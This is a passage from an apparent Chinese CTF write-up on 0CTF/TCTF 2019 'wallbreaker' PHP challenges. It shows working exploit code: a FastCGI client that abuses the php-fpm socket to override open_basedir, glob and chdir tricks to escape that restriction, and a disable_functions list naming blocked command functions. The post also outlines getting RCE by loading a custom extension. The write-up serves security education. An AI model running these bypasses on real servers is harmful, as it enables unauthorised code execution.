= self ::REQ_STATE_ERR; } $this ->_requests[$resp['requestId' ]]['response' ].= $resp['content' ]; } if ($resp['type' ] == self ::END_REQUEST) { $this ->_requests[$resp['requestId' ]]['state' ] = self ::REQ_STATE_OK; if ($resp['requestId' ] == $requestId) { break ; } } if (microtime(true ) - $startTime >= ($timeoutMs * 1000 )) { $this ->set_ms_timeout($this ->_readWriteTimeout); throw new Exception ('Timed out' ); } } while ($resp); if (!is_array($resp)) { $info = stream_get_meta_data($this ->_sock); $this ->set_ms_timeout($this ->_readWriteTimeout); if ($info['timed_out' ]) { throw new TimedOutException('Read timed out' ); } if ($info['unread_bytes' ] == 0 && $info['blocked' ] && $info['eof' ]) { throw new ForbiddenException('Not in white list. Check listen.allowed_clients.' ); } throw new Exception ('Read failed' ); } $this ->set_ms_timeout($this ->_readWriteTimeout); switch (ord($resp['content' ] { 4 })) { case self ::CANT_MPX_CONN: throw new Exception ('This app can\'t multiplex [CANT_MPX_CONN]' ); break ; case self ::OVERLOADED: throw new Exception ('New request rejected; too busy [OVERLOADED]' ); break ; case self ::UNKNOWN_ROLE: throw new Exception ('Role value not known [UNKNOWN_ROLE]' ); break ; case self ::REQUEST_COMPLETE: return $this ->_requests[$requestId]['response' ]; } } } $client = new Client('unix:///var/run/php/php7.2-fpm.sock' , -1 ); $php_value = "open_basedir = /" ; $filepath = '/tmp/06a2b932e87aa986fbd92a0582b9e655/flag.php' ; $content = 'rai4over' ; echo $client->request(array ( 'GATEWAY_INTERFACE' => 'FastCGI/1.0' , 'REQUEST_METHOD' => 'POST' , 'SCRIPT_FILENAME' => $filepath, 'SERVER_SOFTWARE' => 'php/fcgiclient' , 'REMOTE_ADDR' => '127.0.0.1' , 'REMOTE_PORT' => '9985' , 'SERVER_ADDR' => '127.0.0.1' , 'SERVER_PORT' => '80' , 'SERVER_NAME' => 'mag-tured' , 'SERVER_PROTOCOL' => 'HTTP/1.1' , 'CONTENT_TYPE' => 'application/x-www-form-urlencoded' , 'CONTENT_LENGTH' => strlen($content), 'PHP_VALUE' => $php_value, ), $content);
两个exp都是用php实现了一个Fast CGI Client
,然后去连接 php-fpm
的 sock,绕过 open_basedir
执行代码
具体过程是先传上 exp.php
(上面的exp),然后 include
它,就能绕过 open_basedir
的限制
但是这种方法只是绕过 open_basedir
的限制,需要其他人先做出题目,运行readflag
把flag输出到一个文件里,才能拿到flag,还是不能绕过 disable_functions
执行命令
优雅的利用方法在下面
0CTF/TCTF2019_final wallbreaker_not_very_hard 这题是上题的难度提升版,上题的多种exp都行不通了
过滤了一堆函数:
1 pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,putenv,proc_open,passthru,symlink,link,syslog,imap_open,dl,system,mb_send_mail,mail,error_log
限制目录
首先绕过 open_basedir
1 2 3 4 5 6 7 8 9 10 11 12 13 $file_list = array(); $it = new DirectoryIterator("glob:///v??/run/php/*"); foreach($it as $f) { $file_list[] = $f->__toString(); } $it = new DirectoryIterator("glob:///v??/run/php/.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo "{$f}<br/>"; }
或者
1 2 3 4 5 6 7 8 9 10 11 chdir('/tmp'); mkdir('sky'); chdir('sky'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); var_dump(ini_get('open_basedir')); var_dump(glob('*'));
在 /var/run/php/
下发现 /var/run/php/U_wi11_nev3r_kn0w.sock
,就是 PHP-FPM
用的 socket
然后同上文disable_functions
来RCE的方法
编译一份PHP扩展,通过扩展加载命令函数,与 socket 通信完成RCE
wp:
0x05 Referer